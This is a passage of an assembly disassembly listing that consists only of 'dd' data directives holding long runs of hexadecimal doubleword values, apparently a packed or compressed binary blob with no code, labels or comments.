		dd 0ED51D66Bh, 1AAF2A6h, 0DD48BFABh, 0F756EEAAh, 96D487A9h
		dd 0B3AD5B5Ah, 5A316926h, 8DAA96A2h, 0B735F2D6h, 1B36AF76h
		dd 6210F308h, 35A5381h,	4DDEADBDh, 0A048F5D7h, 5F5878Fh
		dd 0EAF6A488h, 464EF4E7h, 4C324377h, 223E1123h,	3C6498CFh
		dd 3C613C6Ah, 0CA332C63h, 16C68D8Ch, 0A5F180E3h, 37F0D571h
		dd 0CD3BCC83h, 331766F6h, 0DF05ECD2h, 9D31819Dh, 655D518Fh
		dd 983736AEh, 9ABF99AFh, 22CB81B5h, 0AA56DEACh,	0E2588055h
		dd 0B5A96B41h, 0B2845E1Fh, 0BD423517h, 684081A9h, 1809E863h
		dd 9974A5C3h, 84773F3Dh, 0FD7F063Eh, 0DD07FD0Bh, 31696304h
		dd 446C4031h, 0AF6CF2B3h, 0F354065Dh, 398FB326h, 0BE619CC4h
		dd 0DAD9FC65h, 77FC186Ch, 9108BB3Ch, 546829F8h,	703BAE23h
		dd 366E5F4Ch, 9EB722F7h, 7E780D7Bh, 100EF70Fh, 0ADE03FFDh
		dd 0F8F572AFh, 0CF387CE6h, 0F9E29B40h, 8C29FE0Ch, 53DB26E0h
		dd 0F24FE11Fh, 0B757C07Fh, 0F425C10h, 2BE85A21h, 0BCE7C214h
		dd 518ABC20h, 0F385B7Ch, 18A77A8Bh, 11F9C889h, 0E58A171h
		dd 8815BD1Fh, 0C7888FFh, 6C517963h, 3A97B52Dh, 4AA4B44Bh
		dd 8C44A53Dh, 21E914E7h, 48CF6AC4h, 0BFABE1EBh,	4D73AC44h
		dd 1D3186EAh, 845C3406h, 0D1047D51h, 7BF2DBDAh,	0F2ABD118h
		dd 1F3A4440h, 7F283F29h, 4D41D28h, 36761935h, 0CEA89D47h
		dd 15E1204h, 221EFC1Ch,	9FD5AFDFh, 699A8D80h, 3189169Ah
		dd 53DA05Bh, 1DAFDBBDh,	0CED4BED3h, 3A207F6Bh, 0D4B7A068h
		dd 35D3E1C3h, 0D34F593Dh, 0B356F0DDh, 17F547F5h, 0C8A350F4h
		dd 0AB1ED278h, 0BD68F6D5h, 0B3E0B863h, 5020734Ch, 8166D7D5h
		dd 76960735h, 3ACFB5B3h, 7D687D64h, 2405040Eh, 0B22AE509h
		dd 0BA335F6Dh, 0B1D34D03h, 4C9D3C74h, 5B0D05DFh, 0E556F04h
		dd 0AE81756Fh, 66634CBh, 24CC3932h, 0CC75D958h,	0FC18E661h
		dd 65CC77D4h, 0CC1B0EA6h, 0B33B65B6h, 1EE56023h, 9B429765h
		dd 7FCBC236h, 105C52CFh, 7385C217h, 0DC59B9E3h,	0EE3BEE22h
		dd 0ECFE877h, 8B6218FEh, 429DC286h, 7DF1EC38h, 0F97062C2h
		dd 7088E16Dh, 4FCAF602h, 0D90C0DACh, 0BA216C48h, 14D170C4h
		dd 8B7789FBh, 0B7E3E013h, 0A7881F88h, 0CBC45FC4h, 0A019AF36h
		dd 10A95CCBh, 0FC1272D8h, 4DE96AFCh, 0A4DFB058h, 24B2E0ABh
		dd 59CF80C7h, 5EBCB172h, 56D72D3Eh, 0F0E19562h,	8881936Ch
		dd 946B2A56h, 95174A7Dh, 7ED5A355h, 3510F4E0h, 0A8871D43h
		dd 94F55DEBh, 497AB3FAh, 1D11AFADh, 51FB44F9h, 0D235A8BBh
		dd 80BDE85Bh, 0A9F43291h, 0BBFA53FAh, 0E7FA07FAh, 329D79FAh
		dd 6206183Ah, 6C625AFh,	0CFA218E3h, 402B8D9Fh, 96CD4DE6h
		dd 64AC0326h, 370EBB00h, 7362CCD3h, 0FC2F7982h,	0E3E683DDh
		dd 0C08FF4E0h, 60CCD703h, 55AE7F48h, 2D6B3D6Ah,	0B70356B7h
		dd 236F819Fh, 0D47E59F3h, 2141A86Ah, 0FF721E3Dh, 35C9FC32h
		dd 88C6B378h, 5C803E4Fh, 0D8A36137h, 70247638h,	1E7C0529h
		dd 0CF8AE5C9h, 6D81A388h, 10474856h, 3C82B469h,	0C80795F5h
		dd 9EE11143h, 5F289791h, 276A7E2Bh, 21335155h, 8BD5E72Fh
		dd 503555EAh, 8175A76Bh, 0F6D0EFC6h, 0AB3A216Ah, 0BD6F7A9Bh
		dd 2FA79F50h, 0A65FDC42h, 0FFE4446Fh, 30FC7406h, 7A2BEA22h
		dd 0AE77FC04h, 0EB188F1h, 0FD03DCFAh, 876E6B5Eh, 1AC3BE35h
		dd 0CC033D62h, 0BEF59AF7h, 0A3F05D45h, 75AAC902h, 461E883Ah
		dd 3BA14Fh, 18C60C99h, 87D6C9BFh, 0DB857AA7h, 0CF6B1D02h
		dd 0F7CEBCB3h, 2F873E7h, 0FC5DE0A0h, 1FD4E87Eh,	0DDC2F3Ch
		dd 78447A3Dh, 1B120846h, 68BC88h, 6E8BE5B7h, 9F78A271h
		dd 9FC5C78h, 0F023B076h, 25DD22ADh, 10134BA5h, 0FE95EE41h
		dd 1D859D21h, 2CBA55FCh, 803726DDh, 39908C35h, 66B5C559h
		dd 64F205C8h, 38FCBA79h, 0F952E26Ch, 0E9467B55h, 0F94BF93Dh
		dd 4828F422h, 396A0609h, 19781B0Dh, 3B03A89Ch, 0AD6D4CD8h
		dd 697443B6h, 0A78861A8h, 8547C0C7h, 38E2B41h, 0FBA6FEF3h
		dd 1961AC1Bh, 0F68FE013h, 992517C3h, 607BCCA3h,	4B9B16B5h
		dd 70405DCDh, 3881E197h, 18899E78h, 868EDDABh, 7BCF627Ch
		dd 0F09753F8h, 8013A057h, 6D107206h, 0D137A6ADh, 0E81FE827h
		dd 0DC95E8DFh, 0EE06DCCBh, 53E2CE4Bh, 0E69E1BE0h, 0FC7901F7h
		dd 3DBA1880h, 2421ABD0h, 169FCA43h, 8417C10Eh, 0F2B8498Ah
		dd 15E89019h, 0FC604EE2h, 62AFE213h, 0E7C2033h,	1A5123B6h
		dd 731CB05h, 7F00D83Ch,	4EE5CDCh, 695DBE29h, 385374A3h
		dd 0A3E95225h, 475E528Ch, 44001CD4h, 0ACED4ED6h, 4FAE00F6h
		dd 0B5D5B354h, 71EAEBEAh, 9B461EB5h, 93697AD5h,	0A3DA69B4h
		dd 0A76D16DAh, 0A6BB5476h, 678240A5h, 0DFE89FE8h, 0A68D75EAh
		dd 755C7B46h, 18D031A4h, 6E5E4B04h, 59C88C7Ch, 44CD6336h
		dd 787E0733h, 1D9D025h,	0CC2208F3h, 0FA41165Ah,	4ACBD5B2h
		dd 0C222E6B1h, 42A2C8FAh, 187AA9FDh, 113A28FBh,	5A53F9D6h
		dd 7621A665h, 845CC2DEh, 0F6C06DEDh, 6229B206h,	2AA1030Fh
		dd 30F70C5Ch, 0CEDB89B7h, 0F1388DBDh, 0EE17EE2Bh, 0F023BE4Eh
		dd 28E88EBCh, 8FCA1F81h, 0AD879FE2h, 83F9B7Dh, 0F7857ABCh
		dd 2600EE17h, 0B2AC0C1Bh, 38517840h, 0B2F1E88Ch, 0CFCD0010h
		dd 0BF133F17h, 6D4B6B17h, 7EE904A5h, 0A54F93E0h, 7F0EB23Ah
		dd 0C6E22F78h, 0B03DE5D7h
		dd 0B5CB3F9Ah, 0A9DE3B10h, 4AF12844h, 899E221Ah, 9E54CCAh
		dd 0F825F7E8h, 1B6AE6BFh, 0BC743BB5h, 96183A9Fh, 4C7D50B4h
		dd 0A6DD457Dh, 57EEA1BEh, 50FFA88Fh, 5A3AB5FDh,	0B68FAD0Fh
		dd 80EFB46h, 0A21E8EBFh, 0E8BBD6B7h, 0AC5EFC1Ch, 4A6FF7Dh
		dd 0BEA4FEFAh, 77ACBF4Ch, 0A012AF05h, 6D99B7E9h, 1BE671CCh
		dd 0F0B6E3D0h, 0CA2DF35Dh, 2BCF6FE5h, 0FA38F408h, 0CD0AFA35h
		dd 0ABDE701h, 9D9B545Fh, 0A6872EC1h, 390CC12h, 0B728F3CFh
		dd 0CFCD7114h, 0CD7C285Ch, 481B3E60h, 0F73D9B74h, 240A2347h
		dd 0D849E108h, 0CF85D7BCh, 0F62B684h, 2A9C5531h, 691F81EEh
		dd 692F52Fh, 287C6BC0h,	217D267Dh, 905D93D5h, 1BBE457Dh
		dd 0F95EEC38h, 0C38CF861h, 9023F4D0h, 304AF3F1h, 920BBCBCh
		dd 1C2B8E9Dh, 17554EA7h, 8DA9CFABh, 6D58BF61h, 7B41B6BAh
		dd 3D0C9B57h, 0E397AC5Fh, 1923442Ah, 71A27BBEh,	0F180F19Fh
		dd 7097A22Eh, 665E80F8h, 2D966209h, 8823AAB8h, 8D5BEA58h
		dd 5AC04EACh, 0E350B029h, 821FC081h, 0FD6B5E7Fh, 0C8B45D60h
		dd 0E02EC70Bh, 1BC01B5Ah, 5ADA0574h, 3FA2EF44h,	5FD38FA0h
		dd 18ED2DD2h, 0D5B0196Fh, 5B840ABh, 21EC83ECh, 0CC1736B6h
		dd 7066E10Dh, 0F9B3719Fh, 1FA26072h, 885DBF8h, 0E142F7D8h
		dd 0EBA0200Dh, 9EB12D42h, 44E45CD8h, 0A87D5619h, 2E718598h
		dd 9BC1A711h, 0DD2F802Eh, 0A9FA4F0Bh, 0A3F885F8h, 6DF88F18h
		dd 2A5CB4BAh, 11B6EFB7h, 4C04101Bh, 65665DDAh, 0F72DEE59h
		dd 962A2A03h, 0CA6793EFh, 0B275E4CBh, 9180995Bh, 0AD59407Fh
		dd 55DE57ACh, 0DCF5011Ah, 0A66885AEh, 0AD3B5436h, 46411A05h
		dd 8D8D1B0h, 0DD1A3A33h, 88D19630h, 0FE373F73h,	99B32830h
		dd 8F223B79h, 0CB3B5696h, 0C95BFAB4h, 2EEB60D6h, 0EB2AF75Ch
		dd 5CDC8B7Bh, 6F3908B8h, 0B9D1C74Bh, 6C5D3E74h,	9063E55Bh
		dd 338833F8h, 88869802h, 961DC832h, 98C30C2Eh, 98C324C0h
		dd 9984A642h, 841C1E0Fh, 0A3663EC5h, 7B2F8211h,	0A7D8F3B0h
		dd 7ECB5D9h, 34F649ECh,	9D7B27FBh, 0E0EEE40Dh, 38DD73DAh
		dd 9EB95396h, 0B9221C5Ch, 37065CA1h, 3E0C7B97h,	0FE701971h
		dd 0ADD0583Ah, 31DCBBDCh, 0BB6204EEh, 5F9BBC26h, 0F06AFC8h
		dd 0F02FE7BFh, 42D6844Dh, 1EBBA218h, 42E82482h,	893E300Ch
		dd 0D216EF86h, 91423185h, 2A984130h, 141E16CCh,	3D44871Eh
		dd 5AB9C407h, 156C20D8h, 0BE9FC276h, 1C287C2Bh,	4AFD4787h
		dd 0C05101F8h, 6D408C65h, 4403408Ch, 0CEC5ED85h, 312C0462h
		dd 0C4833341h, 38AC715Ch, 7C587C4Eh, 5C527C4Ch,	957A5882h
		dd 8DC46B8h, 0F8BAFB7Fh, 744FB896h, 532C2249h, 5A5E3482h
		dd 2D253D24h, 2BD9A205h, 93DE901Dh, 0BF2F418Eh,	80BE9D84h
		dd 0D0ABA31h, 0C89B910Dh, 0D641643Dh, 0E4733E30h, 0FE5DB615h
		dd 1D0E6E49h, 8DBCABEDh, 111D2198h, 69F50CF6h, 0A1DD4CB5h
		dd 51DF51EEh, 0D5D7A8CFh, 56A46D04h, 9A2295A8h,	0A79B4FBCh
		dd 2195A63Dh, 75ADDCA6h, 0DE780DD4h, 0EE218801h, 0D64E4E86h
		dd 0CB1F4097h, 835F4781h, 7F477ABFh, 3F48FF4Fh,	7FD19FA5h
		dd 0EDEBAFD4h, 3064E8Ch, 48D23A7Ch, 854F8487h, 3C6F9F35h
		dd 0DCDCAF0Bh, 9AE6656Ch, 0CC0B9A8Fh, 21E5B053h, 6023C588h
		dd 95AFAD1h, 0ACC3A040h, 1E288891h, 92F14446h, 7C4481B5h
		dd 0AA64FE89h, 0D8816A90h, 1E7E84B2h, 0EE9D7E23h, 9915F18Eh
		dd 5BC18831h, 0B02B0CB2h, 0BD9A3B3Ah, 3EC99D8Fh, 0E886BEC5h
		dd 6C473E0h, 5CD6B82Dh,	8B314618h, 0DCDCE3CBh, 7CFBE824h
		dd 0E38C05EEh, 5869DC67h, 98C04BBDh, 65E79E2Eh,	2087E4DEh
		dd 0FA10784Eh, 0C5CF95B0h, 0A8C5ECE8h, 10EE165Ch, 1C413155h
		dd 9460988Ch, 174E2C58h, 0CBF781E7h, 0F1C273C1h, 0D707F0D3h
		dd 8EA97F44h, 479ED4D4h, 4846928Bh, 0E854D2D9h,	86F097C4h
		dd 7509E06Dh, 209CA7B9h, 160B4367h, 1DE44BCAh, 55B4A532h
		dd 49412564h, 192B0652h, 0A8F29E4Ah, 56ECAE52h,	1F6621EAh
		dd 0AAE7AE00h, 0BE06C10Fh, 0D70F5E0Ch, 25E5C0D2h, 43ED66DAh
		dd 57ED0BEDh, 5F5E96ADh, 0D51FA7DFh, 8CB5E84Fh,	0A30F4626h
		dd 7CC7399Eh, 3668BCD2h, 8177FD84h, 0A3F43C67h,	8D64958Fh
		dd 22ACB2B0h, 0CB35926Bh, 6C5AC47Ah, 0F89F00BDh, 7ACBB5AAh
		dd 0D40A3AC7h, 2F22DD78h, 0A0B82421h, 0D102DD09h, 39A5772h
		dd 0DF441C6Ah, 4FEC688Dh, 9942629Ah, 6C9DEC86h,	7B077627h
		dd 32E21E00h, 105A175Bh, 0DEF3A36Eh, 0B8B37588h, 4DEE031h
		dd 0C0D3C0E8h, 9F001FE9h, 0CAFDC57Fh, 2A18F031h, 3F01687Ch
		dd 0E8815F9Bh, 0DFF3F6Ah, 1F0AE0F4h, 682742Ch, 0BAC22144h
		dd 2AFBB10Bh, 0A6F09B61h, 1DF90710h, 5D89E621h,	0E4338121h
		dd 757121EFh, 0ABA55095h, 0BA4620C2h, 0FF03A95Bh, 871F56E8h
		dd 0D211FC75h, 8AEB54D6h, 9B5527E8h, 590C3DA0h,	0AE5B427Bh
		dd 825DACBDh, 37AFA80Fh, 0E1123A04h, 99F47329h,	9FD7CFAh
		dd 0DC4869FDh, 173F447Ah, 32E1480h, 0CD1A05F5h,	0F5920D0Ch
		dd 0D66C91BBh, 6D589AB1h, 0D2B68ADh, 0E2336336h, 14171B18h
		dd 0D1DB93F9h, 95DD3054h, 66ACCDE9h, 81FC036h, 3F6E66ECh
		dd 0DD3C31FFh, 7A2EBE35h, 0CFEEC2AEh, 1AE2DC11h, 0D253F6D8h
		dd 79EEB057h, 0E43332C0h, 796AF2F9h, 0FE809C93h, 84EF5636h
		dd 5570F5Fh, 8C28F5D8h,	0D36060DDh, 0D44FD48Fh,	85AD1AAEh
		dd 0E7B031EAh, 3E5E803Bh, 31D7EC87h, 0AC623042h, 310C6311h
		dd 0F0318D32h, 0D2DBF74Fh, 0ADE21CFEh, 0E693CDF7h, 7FEAB097h
		dd 6FAAEA22h, 5B9AB635h, 0C8E961ADh, 55B4699Ch,	0ED663D62h
		dd 0C8B1BEB4h, 0A0CF29DBh, 47E863BFh, 0A65FEB80h, 22AFD1D7h
		dd 3E877AE6h, 16AB788Ch, 0C0698F53h, 93344CF0h,	8B3114C1h
		dd 0DF07BBEDh, 699E732h, 0D9239888h, 33A34081h,	60EF2711h
		dd 0E0EF657Fh, 9DEFF05Ch, 2BFCBEF9h, 0F39F54B0h, 6100F8E7h
		dd 6532C00h, 6164D2ECh,	0C84670AEh, 0E100A712h,	62024A85h
		dd 48D201DCh, 0EEF81F29h, 0B4A5693Eh, 5DDB605h,	0A3016E7Bh
		dd 3DF66BFh, 22CA7ECh, 0F1147B72h, 0A57532EAh, 1B7D59BAh
		dd 0F551CF91h, 0F1AE1A84h, 88B1E7B0h, 9586EF59h, 0D71DA9D8h
		dd 0F998C7BEh, 5A75EDEBh, 86D824Fh, 13B4F84h, 0CCB531Ch
		dd 0AA993B31h, 310E6719h, 0B67EB4BFh, 65E45B2Eh, 0AF7DBA98h
		dd 0CEE882Fh, 0FE8B35DFh, 75C3F689h, 639E620Dh,	0D8FC65DEh
		dd 0EE9EB8C6h, 76682F6Ch, 3ECF9B0Eh, 31FD6B02h,	0E78D817Bh
		dd 93D1A0D2h, 0CDA1C7B8h, 0DF93606Bh, 0BEE63EE2h, 82D2C441h
		dd 4317CAEFh, 37E45F8Fh, 84A7D623h, 0A6CF096h, 0B021C422h
		dd 7F8447BEh, 165DD700h, 25B3C11Ah, 0A6B0198Bh,	53F7DB4Fh
		dd 3FDAE10Fh, 0C3496B17h, 37A427A5h, 94B093A4h,	0BDB7F414h
		dd 2783434Ch, 55E573C8h, 0EEC05BF2h, 25196244h,	0A5662815h
		dd 5D7E0C72h, 84753550h, 0F29610BAh, 0E003F565h, 80CD3F3Ah
		dd 0D6D72F4Fh, 9910476Ah, 0ABA6025Ch, 0A08F8883h, 4F3D6496h
		dd 7D58859Fh, 0DF49BEB5h, 147F240Eh, 0FD6BF176h, 95A3A412h
		dd 3588D6D1h, 0DFB511E2h, 0A2F88B05h, 0D378D3B1h, 8FC6A38h
		dd 51BBF8CBh, 58826CC7h, 364E6DDDh, 0FFE70267h,	0BA19AF68h
		dd 72B18ADDh, 5A371160h, 0EC5FACC7h, 727F3039h,	0B1360C8Bh
		dd 5E9BDD07h, 0DF806F45h, 9DFE9F7Fh, 3314C91Eh,	0FBA43CFh
		dd 235A2242h, 6D997BC6h, 71E4B887h, 577176Eh, 2F9FD092h
		dd 0EBF017E2h, 0B7FC43F8h
		dd 0C1C8177Ch, 345F003h, 118F8DC1h, 0CA039DB7h,	6744056Fh
		dd 0B34B6E20h, 64C09EFh, 6D205BB6h, 93C1F695h, 27A965Ch
		dd 7994CCE5h, 2995B25h,	0B2A4FE8Fh, 0F944F944h,	39099956h
		dd 8B7EA138h, 0B01EA658h, 1A2D0F4Dh, 5B5CBE28h,	4FBB7407h
		dd 0A8BC1CFBh, 83B7C88Fh, 0D28F43DEh, 0B5831183h, 0AC9BBB35h
		dd 0C6D103A9h, 9B460A43h, 4D891063h, 0F39B6731h, 19A027CCh
		dd 0E6F5CD2Bh, 77FBA056h, 21A10FCCh, 0E01798DFh, 21A10219h
		dd 1ECDA0CDh, 1ADBD75Bh, 32B70D68h, 826B02ACh, 116828Dh
		dd 27839507h, 0D6BDADDBh, 5F6CC461h, 2310E758h,	59FC275Fh
		dd 0E9DE4FEFh, 1BA1D54Ah, 8EE8ADD2h, 474292E0h,	441E5623h
		dd 706E028Fh, 39E953D3h, 0A69E0D88h, 806BD397h,	0B3417711h
		dd 7E72208Eh, 9CCAD98Ah, 0AE617E64h, 8B58B530h,	2BA9061Dh
		dd 5BD1E81h, 0F8197094h, 81D705A0h, 0E069C2EBh,	0C1902A67h
		dd 6E58DC3Dh, 0B712F726h, 5C23B93h, 25F0C1F2h, 4031F26h
		dd 759EC63Dh, 0CC5F8C7Ah, 257E52Fh, 7D846C21h, 88FF937Ch
		dd 13FF89FFh, 0A000C691h, 52C2D982h, 0BB0BD61h,	783BFA78h
		dd 0EE843FFDh, 35A40EA2h, 21C6B115h, 0DA7A9791h, 887E1333h
		dd 3CA7A2Dh, 16F221E5h,	88F91DF9h, 293E4C7Ch, 979F2D7Fh
		dd 0D497C12Fh, 2D291A55h, 0DBF00E95h, 0D12BA2A2h, 10657F4Ah
		dd 328E692Ch, 0F3D946D6h, 52CA8594h, 4EB29565h,	0A9BCAAD9h
		dd 0B51CA3BCh, 3CFD167h, 5D6A5379h, 695011B5h, 31023507h
		dd 4E354F57h, 470EA81Dh, 8EA79D84h, 0CFABA757h,	1F794622h
		dd 0B555E971h, 0C6A7768Eh, 78B53D69h, 0E36B46Dh, 630028FEh
		dd 85FE94F8h, 0CD380CDEh, 23A6CC80h, 3C639936h,	64456C61h
		dd 0C97185F6h, 0CC14DDB8h, 0BC2F7374h, 0B0696312h, 2A310B60h
		dd 0A1AFAD27h, 0F22C97E3h, 3F725B82h, 8CDD2EBFh, 0C1774D6Eh
		dd 41B44838h, 0E97DD0C7h, 905AF681h, 3D0C7A0Ch,	0DF409E96h
		dd 1FA6CF4Bh, 9FA71FA2h, 0CBC88C2h, 1F4BDE69h, 0A6043FA2h
		dd 10BB473Bh, 144C0B6Bh, 66498FD3h, 32C661EEh, 984B300Fh
		dd 0C74E3197h, 67307F98h, 0EDCC0B99h, 301D5EF0h, 44D97D5Ah
		dd 63CD8B36h, 0B02FB1A7h, 317BB2AFh, 5FB29F66h,	57B13FB2h
		dd 81393BD8h, 0E1CDC3EBh, 0BFEF0216h, 87E035CEh, 0C199CA21h
		dd 0BBF445CFh, 3F09A17h, 8453092Fh, 0E5FAC019h,	0AB0CBC2h
		dd 0EDF00EFh, 0E691EE93h, 5D482F4Ah, 794DED81h,	0EC377DBCh
		dd 0F8077CB4h, 0C3CAF9Dh, 0ECA4BEFEh, 0CE523E54h, 0CF11F529h
		dd 755F6AF3h, 3D37028h,	0AA6F62F0h, 0BE116007h,	7783BB51h
		dd 6D62B443h, 0F6BF76A2h, 0D683F695h, 0C480B60Eh, 0B7E00B2Dh
		dd 5D6FC396h, 63E80D80h, 636E19E4h, 0E8C0B196h,	33204D0Fh
		dd 0D1106B11h, 998F31EFh, 9BBF985Fh, 8FED202Dh,	0C3E05B5Bh
		dd 522E124Fh, 6A7F11D4h, 69891F84h, 4E923A34h, 0FB0347A6h
		dd 3FD203EEh, 43A25F45h, 224CA698h, 41E4C693h, 5E619FF7h
		dd 2F843E63h, 1B12F720h, 9E58EDB3h, 0CCFD858Dh,	3F039F66h
		dd 0DC1EB902h, 0F720EE64h, 525EC39h, 0F7858D69h, 0FBEC67Eh
		dd 0F0B11BB6h, 0D096BE11h, 5F801042h, 85A30887h, 7EE4707Ch
		dd 0B2F0A161h, 3768E2BDh, 422BBF22h, 950B03Ch, 409BD010h
		dd 84886140h, 4996971Fh, 0E1D60DBh, 54FA1A21h, 2D7D2D3Ah
		dd 23052EFDh, 7958A1Eh,	61F36E40h, 8FC8E741h, 0ADE54BCAh
		dd 0E59FDD90h, 0A540E53Fh, 690B129Eh, 0F0888E1Dh, 0F281653Eh
		dd 0B29AF294h, 320B7943h, 5AF95A7Ah, 0A8B941F9h, 0EE555Ch
		dd 9CABBB47h, 651E12DAh, 0B60F56A9h, 0BBF5223h,	0FD7DE818h
		dd 0DEBDFEA4h, 646CE8C0h, 0C6C56F81h, 0F05EE304h, 0E0484DEEh
		dd 0B3C1907Bh, 1A7F9CB0h, 0B36D66FEh, 944C3C1Bh, 364CC7D9h
		dd 1E662147h, 0D3A1B07h, 0F9BE65F6h, 0DCCAB9ACh, 0DF37EE61h
		dd 0B7F15583h, 9A5606EEh, 0DD87AD66h, 0D4073320h, 15AA7F29h
		dd 7749CB59h, 0CC86DFA2h, 31B49029h, 209E1988h,	0E0BAE72Fh
		dd 52DD6E4Fh, 864AE029h, 942390h, 0E782CFCDh, 62C285Ch
		dd 36172C56h, 3D845B09h, 0A8E17EC2h, 8CFE38Dh, 0AE67E0E7h
		dd 7C501408h, 744AD8A8h, 1A44DD89h, 8C53DDDAh, 82811317h
		dd 40398946h, 4E22542h,	57389671h, 162E285Ch, 94F3D857h
		dd 0EE5B105Bh, 14757C47h, 0C4B13571h, 222BC417h, 413C0B05h
		dd 82CD269Ah, 0E693CE24h, 0C5A50B4Bh, 7C7012D2h, 0D5AEE205h
		dd 0E09BF8C0h, 0BB4877A3h, 7ED23DA4h, 4474A0E9h, 0B71D2A3Ah
		dd 2019CB71h, 64F073FEh, 0D24BA517h, 0EC31A915h, 98C7B48h
		dd 53DE5F0Fh, 11E3918Eh, 47910FA5h, 8E7219C8h, 5A11825Ch
		dd 0DD039721h, 0D9BE07ACh, 0BBA9C02h, 0F97EFBB1h, 51CDEC20h
		dd 99FCB8F9h, 0ECD10A7Ch, 7C9CF959h, 0CB08BE41h, 27B60573h
		dd 1EA04810h, 0A5635BF0h, 714AD2B9h, 7095ED29h,	3C29BA5h
		dd 0F8C05EDDh, 0C0AE525Dh, 944734CAh, 0F4BEC3A7h, 25A94751h
		dd 2E752CEAh, 0BAB9657Ch, 0C82A8EC9h, 0D847AD0Bh, 0E8834D6Bh
		dd 0DD28747Ah, 0FB0E6E98h, 0D3DBA2ECh, 7D0AB0E1h, 853A44E8h
		dd 808F421Eh, 73A0CE95h, 8BA3CE8h, 3D027F88h, 74069E85h
		dd 79E9730h, 5E90BD9Bh,	8CBAE40Ch, 0D397415Eh, 0F4F5E9ABh
		dd 33DBDA26h, 0E7B00E8Ah, 12948B46h, 0F17C3F65h, 0ED33ED51h
		dd 3B567694h, 27845DA7h, 0BD40F4A2h, 37AA1E9Eh,	9B015BD7h
		dd 0F09D0384h, 0D4F7AEBAh, 7AF1E8FBh, 1F443E8Ah, 0A7997405h
		dd 0F413E917h, 73D9F029h, 3A173281h, 0DEF10D71h, 0FA5DF45Bh
		dd 7EA0FD1Eh, 33EEF804h, 0D0B3BBE0h, 15FA8BE1h,	0A320CF20h
		dd 0E6D8621Eh, 8F68CB86h, 64369628h, 0DF51B743h, 92032328h
		dd 9D49045Ah, 0B9D4902h, 58D0BF2Fh, 0CA332C62h,	26C6D58Dh
		dd 0CBB18B63h, 341C63D8h, 8DC7188Eh, 90338CCFh,	45C60BE0h
		dd 0DF620AE3h, 0D99EB320h, 0BA6E6CD8h, 99BA0180h, 5FC329B4h
		dd 13A240C6h, 847314CDh, 6679D52Dh, 72013989h, 737E0B3Dh
		dd 5CD8B9BEh, 2663AF62h, 1AC998ABh, 9982B266h, 0AB265FACh
		dd 65DAC997h, 0AC9972B2h, 0D2050E5Bh, 21A8856Ch, 5F06EADCh
		dd 813D5B2Ah, 44ADE228h, 87A2086Bh, 228B600Ch, 0D029EE58h
		dd 3CD6B98Ah, 0D6C5F058h, 0E2056B32h, 41B0F588h, 403DAC3Bh
		dd 4D1047D1h, 0EC68867Ch, 45EC7C2Ch, 19EA4D8Fh,	53216D40h
		dd 3DA0746Eh, 0C9246496h, 4F34D238h, 8C4F74EBh,	9A3DBC66h
		dd 48C92C64h, 0A3247192h, 8C90C648h, 373DB960h,	77DE05B7h
		dd 0FE107D0Fh, 19FD38F7h, 0FC2CEFB4h, 104C530h,	9A6636E3h
		dd 3DA62E33h, 19A18DD3h, 0CD11D199h, 35FF9F7h, 86217396h
		dd 86098631h, 0AED2C019h, 9803B0C4h, 0AE18174Bh, 0EF60CF00h
		dd 0EC003C30h, 0BC319E0Dh, 58037860h, 0FC31BC2Fh, 90C3F862h
		dd 88C588C1h, 0E8C048C7h, 6DB00Ah, 0A013FB72h, 87C019EBh
		dd 0A9002BA8h, 5CCC2316h, 0D41CC3B5h, 50666057h, 72BAD01h
		dd 3800ACC6h, 0B1C0656Eh, 5F8E01ABh, 0BB073B05h, 3EF85E81h
		dd 28C1460Ah, 60A30518h, 51828C14h, 0C1460A30h,	0A3051828h
		dd 828C1460h, 323051h, 0B8DD1300h, 0E5h, 100h, 2A000100h
		dd 618Ch, 1446h, 1CEDDA78h, 575C6F4Bh, 50AD38F9h, 0AAAA0155h
		dd 0BA8550Ah, 23B10A27h, 2D36D3B9h, 422A656Dh, 4929A55Eh
		dd 51B71C88h, 9EBA4210h, 190F63B9h, 76330CCFh, 2AA8B35Ch
		dd 562B1084h, 0C5620588h, 80BF1582h, 15813F05h,	588560Bh
		dd 1F82CD62h, 0E3DF39C0h, 1E77DF7Eh, 0A49D8EF7h, 4E468480h
		dd 0F1E73BECh, 3AFDEF9Dh, 0F33B3F7h, 0BA1DD4DCh, 0B755BB9h
		dd 0E7FEC77h, 0FDF6ED5Ch, 0F6377D5Fh, 43DDF4DFh, 66E57BFFh
		dd 0FFFB53FEh, 0AAC47EE7h, 0FFF5331Fh, 1FBFF9EEh, 6EABA7F9h
		dd 0BB5BFFC7h, 0FB51AC09h, 0A93C36Fh, 0DFF86EE6h, 0C2F47E67h
		dd 0E9FE467Fh, 0EAB1EFD8h, 0AAC09B7Fh, 0ED01EFF8h, 0B8998339h
		dd 193FC0F6h, 6CF88EC2h, 0AB09F60Fh, 91DA01F7h,	0C09C767Fh
		dd 0C315853Ch, 39C011E8h, 6EA723F3h, 0F95BFFD7h, 0C9FE7BEFh
		dd 58410F5Dh, 0F5EB0175h, 0FF73B7FDh, 7D86AB09h, 0C5C0978Eh
		dd 8536400Eh, 0B9AF6159h, 0B3CE191Fh, 0F73EC0DBh, 11C1B46Bh
		dd 7FEBBCCEh, 0D300ACC2h, 0DE9EBF4Dh, 0F386EF5Bh, 0D3889C2Dh
		dd 0FF131CF8h, 60E7454Dh, 0C57E557Ch, 0D614FBF0h, 653EC29Dh
		dd 2E3486A8h, 9380B5C0h, 237AC21Dh, 0E0D17D58h,	672342D7h
		dd 0F86B75E7h, 875AD716h, 0EBF83371h, 0EE680h, 37B9AFB6h
		dd 0FE7F45DCh, 0F75DF76Dh, 21EBC01Dh, 71EE0270h, 0FB1AD7E4h
		dd 157BE20Fh, 0FE02ABB8h, 0E67CFDA9h, 7306B0A0h, 0F0379845h
		dd 0F3E0F7BFh, 0DA02DB82h, 8069E08Dh, 7DE56B68h, 0A2E52982h
		dd 7C85FC19h, 8D9FFB5Ah, 6C093C56h, 40FCFF13h, 0E608FC51h
		dd 3557898Ch, 0C2180507h, 0A7FD7709h, 88AA2926h, 63C22A87h
		dd 4794A590h, 94C2B0E7h, 304F0D24h, 1F18C800h, 0F6DA3E5Ah
		dd 0FBBCF27Ch, 43DA877Dh, 0C9A402EBh, 0EC7DFFC0h, 34F0BFA9h
		dd 8728055Eh, 0AEA42980h, 0FE4B3AF0h, 39FD614h,	67FA1E35h
		dd 0AFF57EC7h, 0E1A8BE78h, 89F70DC9h, 0B802331Fh, 0E2D3EE07h
		dd 0B38087AEh, 3F75D774h, 0CD7B086Eh, 3402D9CDh, 93D8C35h
